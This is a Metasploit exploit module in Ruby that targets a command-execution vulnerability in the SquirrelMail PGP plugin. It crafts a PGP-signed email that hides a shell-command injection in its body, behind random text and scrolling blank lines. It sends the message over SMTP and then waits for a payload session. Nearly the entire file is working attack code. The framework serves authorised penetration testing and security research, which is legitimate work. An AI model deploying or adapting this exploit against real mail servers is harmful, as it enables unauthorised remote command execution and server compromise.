| 1 |
## |
|---|
| 2 |
# $Id$ |
|---|
| 3 |
## |
|---|
| 4 |
|
|---|
| 5 |
## |
|---|
| 6 |
# This file is part of the Metasploit Framework and may be subject to |
|---|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit |
|---|
| 8 |
# Framework web site for more information on licensing and terms of use. |
|---|
| 9 |
# http://metasploit.com/projects/Framework/ |
|---|
| 10 |
## |
|---|
| 11 |
|
|---|
| 12 |
|
|---|
| 13 |
require 'msf/core' |
|---|
| 14 |
|
|---|
| 15 |
|
|---|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
|---|
| 17 |
|
|---|
| 18 |
# |
|---|
| 19 |
# This module sends email messages via smtp |
|---|
| 20 |
# |
|---|
| 21 |
include Msf::Exploit::Remote::SMTPDeliver |
|---|
| 22 |
|
|---|
| 23 |
def initialize(info = {}) |
|---|
| 24 |
super(update_info(info, |
|---|
| 25 |
'Name' => 'SquirrelMail PGP Plugin command execution (SMTP)', |
|---|
| 26 |
'Description' => %q{ |
|---|
| 27 |
This module exploits a command execution vulnerability in the |
|---|
| 28 |
PGP plugin of SquirrelMail. This flaw was found while quickly |
|---|
| 29 |
grepping the code after release of some information at |
|---|
| 30 |
http://www.wslabi.com/. Later, iDefense published an advisory .... |
|---|
| 31 |
|
|---|
| 32 |
Reading an email in SquirrelMail with the PGP plugin activated |
|---|
| 33 |
is enough to compromise the underlying server. |
|---|
| 34 |
|
|---|
| 35 |
Only "cmd/unix/generic" payloads were tested. |
|---|
| 36 |
}, |
|---|
| 37 |
'License' => MSF_LICENSE, |
|---|
| 38 |
'Version' => '$Rev$', |
|---|
| 39 |
'Author' => [ 'Nicob <nicob[at]nicob.net>' ], |
|---|
| 40 |
'References' => |
|---|
| 41 |
[ |
|---|
| 42 |
['URL', 'http://lists.immunitysec.com/pipermail/dailydave/2007-July/004456.html'], |
|---|
| 43 |
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=330'], |
|---|
| 44 |
['URL', 'http://www.wslabi.com/wabisabilabi/initPublishedBid.do?'], |
|---|
| 45 |
], |
|---|
| 46 |
'Stance' => Msf::Exploit::Stance::Passive, |
|---|
| 47 |
'Platform' => 'unix', |
|---|
| 48 |
'Arch' => ARCH_CMD, |
|---|
| 49 |
'Targets' => |
|---|
| 50 |
[ |
|---|
| 51 |
[ 'SquirrelMail PGP plugin < 2.1', {} ], |
|---|
| 52 |
], |
|---|
| 53 |
'DisclosureDate' => 'Jul 9 2007', |
|---|
| 54 |
'DefaultTarget' => 0)) |
|---|
| 55 |
|
|---|
| 56 |
register_options( |
|---|
| 57 |
[ |
|---|
| 58 |
OptString.new('MAILSUBJECT', [false, "The subject of the sent email"]) |
|---|
| 59 |
], self.class) |
|---|
| 60 |
|
|---|
| 61 |
end |
|---|
| 62 |
|
|---|
| 63 |
def mime_defaults() |
|---|
| 64 |
self.header.set("MIME-Version", "1.0") |
|---|
| 65 |
self.header.set("Content-Type", "multipart/signed; boundary=\"#{self.bound}\"; protocol=\"application/pgp-signature\"; micalg=pgp-sha1") |
|---|
| 66 |
self.header.set("Subject", '') # placeholder |
|---|
| 67 |
self.header.set("Date", Time.now.strftime("%a,%e %b %Y %H:%M:%S %z")) |
|---|
| 68 |
self.header.set("Message-ID", |
|---|
| 69 |
"<"+ |
|---|
| 70 |
Rex::Text.rand_text_alphanumeric(rand(20)+40)+ |
|---|
| 71 |
"@"+ |
|---|
| 72 |
Rex::Text.rand_text_alpha(rand(20)+3)+ |
|---|
| 73 |
">" |
|---|
| 74 |
) |
|---|
| 75 |
self.header.set("From", '') # placeholder |
|---|
| 76 |
self.header.set("To", '') # placeholder |
|---|
| 77 |
end |
|---|
| 78 |
end |
|---|
| 79 |
|
|---|
| 80 |
def exploit |
|---|
| 81 |
|
|---|
| 82 |
body = |
|---|
| 83 |
# Display some junk |
|---|
| 84 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 85 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 86 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 87 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 88 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 89 |
rand_text_alphanumeric(rand(128)+16) + "\n" + |
|---|
| 90 |
|
|---|
| 91 |
# Scroll down |
|---|
| 92 |
"\n" * (rand(100)+35) + |
|---|
| 93 |
|
|---|
| 94 |
# Escape filter and insert payload |
|---|
| 95 |
"AAAA\\\";" + payload.encoded + ";echo \\\"BBBBB\n" |
|---|
| 96 |
|
|---|
| 97 |
sig = |
|---|
| 98 |
"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG\n\n " + |
|---|
| 99 |
rand_text_alphanumeric(rand(20)+54) + "\n" + |
|---|
| 100 |
rand_text_alphanumeric(rand(20)+34) + "\n" + |
|---|
| 101 |
"-----END PGP SIGNATURE-----\n" |
|---|
| 102 |
|
|---|
| 103 |
msg = Rex::MIME::Message.new |
|---|
| 104 |
msg.extend(MessageExtend) |
|---|
| 105 |
msg.mime_defaults |
|---|
| 106 |
msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) |
|---|
| 107 |
msg.to = datastore['MAILTO'] |
|---|
| 108 |
msg.from = datastore['MAILFROM'] |
|---|
| 109 |
|
|---|
| 110 |
msg.add_part(body, "text/plain;charset=us-ascii;format=flowed", "quoted-printable", nil) |
|---|
| 111 |
msg.add_part(sig, "application/pgp-signature", nil, "attachment; filename=signature.asc") |
|---|
| 112 |
|
|---|
| 113 |
send_message(msg.to_s) |
|---|
| 114 |
|
|---|
| 115 |
print_status("Waiting for a payload session (backgrounding)...") |
|---|
| 116 |
end |
|---|
| 117 |
|
|---|
| 118 |
|
|---|
| 119 |
|
|---|
| 120 |
|
|---|